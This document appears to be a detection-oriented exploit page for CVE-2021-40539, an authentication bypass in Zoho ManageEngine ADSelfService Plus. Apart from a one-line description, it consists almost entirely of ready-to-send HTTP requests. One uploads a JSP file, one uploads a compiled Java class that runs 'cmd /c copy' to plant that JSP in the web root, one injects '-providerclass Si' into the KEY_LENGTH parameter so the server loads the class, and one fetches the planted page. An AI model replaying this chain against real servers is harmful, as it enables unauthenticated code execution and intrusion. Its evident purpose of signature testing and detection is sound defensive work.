CVE-2021-40539: Zoho ManageEngine ADSelfService Plus v6113 - Unauthenticated Remote Command Execution

🔍 Vulnerability Description

Zoho ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass vulnerability that can lead to remote code execution.

🌐 HTTP Request

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 1047
Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458
Accept-Encoding: gzip

--8b1ab266c41afb773af2e064bc526458

Content-Disposition: form-data; name="methodToCall"



unspecified

--8b1ab266c41afb773af2e064bc526458

Content-Disposition: form-data; name="Save"



yes

--8b1ab266c41afb773af2e064bc526458

Content-Disposition: form-data; name="form"



smartcard

--8b1ab266c41afb773af2e064bc526458

Content-Disposition: form-data; name="operation"



Add

--8b1ab266c41afb773af2e064bc526458

Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"



<%@ page import="java.util.*,java.io.*"%>

<%@ page import="java.security.MessageDigest"%>

<%

String cve = "CVE-2021-40539";

MessageDigest alg = MessageDigest.getInstance("MD5");

alg.reset();

alg.update(cve.getBytes());

byte[] digest = alg.digest();

StringBuffer hashedpasswd = new StringBuffer();

String hx;

for (int i=0;i<digest.length;i++){

  hx =  Integer.toHexString(0xFF & digest[i]);

  if(hx.length() == 1){hx = "0" + hx;}

  hashedpasswd.append(hx);

}

out.println(hashedpasswd.toString());

%>

--8b1ab266c41afb773af2e064bc526458--

POST /./RestAPI/LogonCustomization HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 1130
Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b
Accept-Encoding: gzip

--43992a07d9a30213782780204a9f032b

Content-Disposition: form-data; name="methodToCall"



unspecified

--43992a07d9a30213782780204a9f032b

Content-Disposition: form-data; name="Save"



yes

--43992a07d9a30213782780204a9f032b

Content-Disposition: form-data; name="form"



smartcard

--43992a07d9a30213782780204a9f032b

Content-Disposition: form-data; name="operation"



Add

--43992a07d9a30213782780204a9f032b

Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="Si.class"



����4(





 !"
<init>
()V
Code
LineNumberTable
<clinit>


StackMapTable 


SourceFile
Si.java

#$%
java/lang/String
cmd
/c
copy
ws.jsp
*..\webapps\adssp\help\admin-guide\test.jsp&'
java/io/IOException
Si
java/lang/Object
java/lang/Runtime


getRuntime
()Ljava/lang/Runtime;
exec
(([Ljava/lang/String;)Ljava/lang/Process;!





*�
�


d+�K*�YSYSYSYSYS�	L�K�
&)

&*i


--43992a07d9a30213782780204a9f032b--

POST /./RestAPI/Connection HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.3
Connection: close
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22

GET /help/admin-guide/test.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40539.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40539.pcap